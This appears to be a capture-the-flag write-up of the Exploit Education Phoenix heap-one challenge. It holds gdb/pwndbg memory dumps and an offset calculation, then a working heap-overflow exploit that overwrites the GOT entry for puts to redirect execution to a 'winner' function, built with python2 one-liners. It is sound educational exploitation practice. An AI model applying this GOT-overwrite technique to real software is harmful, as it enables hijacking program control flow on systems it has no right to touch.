NOTE: I spent a long time trying to get this working for x64 but couldn't, seems to be due to null bytes as others had same issue (see below). Not aware of workaround ATM, let me know if somebody finds one!

https://www.lucas-bader.com/ctf/2019/04/16/heap1
https://aidenpearce369.github.io/binary%20exploitation/heap1/
https://n1ght-w0lf.github.io/binary%20exploitation/heap-one/

- gdb-pwndbg heap_overwrite
- run AAAAAAAA BBBBBBBB

break after second strcpy:

- break *0x8049267

- x $ebp - 0x1c
0xffffcfcc: 0x0804c1a0

- x $ebp - 0x20
0xffffcfc8: 0x0804c1c0

```
pwndbg> x $ebp - 0x1c
0xffffcfcc:     0x0804c1a0
pwndbg> x/12xw 0x0804c1a0
0x804c1a0:      0x00000001      0x0804c1b0      0x00000000      0x00000011
0x804c1b0:      0x41414141      0x41414141      0x00000000      0x00000011
0x804c1c0:      0x00000002      0x0804c1d0      0x00000000      0x00000011
pwndbg> x $ebp - 0x20
0xffffcfc8:     0x0804c1c0
pwndbg> x/12xw 0x0804c1c0
0x804c1c0:      0x00000002      0x0804c1d0      0x00000000      0x00000011
0x804c1d0:      0x00000000      0x00000000      0x00000000      0x00021e29
0x804c1e0:      0x00000000      0x00000000      0x00000000      0x00000000
pwndbg>
```

We can see i1->priority, followed by i1->name @ 0x0804c1a0
We can see i2->priority, followed by i2->name @ 0x0804c1c0

Our AAAAAAAA is @ 0x0804c1b0 and we can see 0x0804c1d0 (i2->name) is 20 bytes away:

```
pwndbg> x $ebp - 0x1c
0xffffcfcc:     0x0804c1a0
pwndbg> x/12xw 0x0804c1a0
0x804c1a0:      0x00000001      0x0804c1b0      0x00000000      0x00000011
0x804c1b0:      0x41414141      0x41414141      0x00000000      0x00000011
0x804c1c0:      0x00000002      0x0804c1d0      0x00000000      0x00000011
```

```
pwndbg> x 0x804c1b0
0x804c1b0:      0x41414141
pwndbg> x 0x804c1c4
0x804c1c4:      0x0804c1d0
```

confirm offset:

• python2 -c 'print(0x0804c1c4 - 0x0804c1b0)'
20

So if we write 20 bytes padding in our arg1, we can overwrite i2->name with got.puts address. Then, we can send another address (winner) as arg2 to overwrite got.puts.

• info functions

```
0x080491b0  frame_dummy
0x080491b2  main
0x080492a7  winner
```

• break main
• run
• got

```
GOT protection: No RELRO | GOT functions: 7

[0x804b334] printf@GLIBC_2.0 -> 0x8049036 (printf@plt+6) ◂— push   0 /* 'h' */
[0x804b338] time@GLIBC_2.0 -> 0x8049046 (time@plt+6) ◂— push   8
[0x804b33c] strcpy@GLIBC_2.0 -> 0x8049056 (strcpy@plt+6) ◂— push   0x10
[0x804b340] malloc@GLIBC_2.0 -> 0x8049066 (malloc@plt+6) ◂— push   0x18
[0x804b344] puts@GLIBC_2.0 -> 0x8049076 (puts@plt+6) ◂— push   0x20 /* 'h ' */
[0x804b348] exit@GLIBC_2.0 -> 0x8049086 (exit@plt+6) ◂— push   0x28 /* 'h(' */
[0x804b34c] __libc_start_main@GLIBC_2.0 -> 0xf7dd6d40 (__libc_start_main) ◂— call   0xf7efa3a9
```

arg1 = padding + got.puts
arg2 = winner

• python2 -c 'print "A" * 20 + "\x44\xb3\x04\x08"' > arg1
• python2 -c 'print "\xa7\x92\x04\x08"' > arg2
• ./heap_overwrite $(cat arg1) $(cat arg2)

```
pwndbg> run $(cat arg1) $(cat arg2)
Starting program: /home/crystal/Desktop/CTF/pwn/exploit_education/phoenix/heap/1-heap/
 arg2)
Congratulations, you've completed this level @ 1646605646 seconds past the Epoch
[Inferior 1 (process 1217495) exited normally]
```

BONUS debugging output:

- break *0x804927d

- heap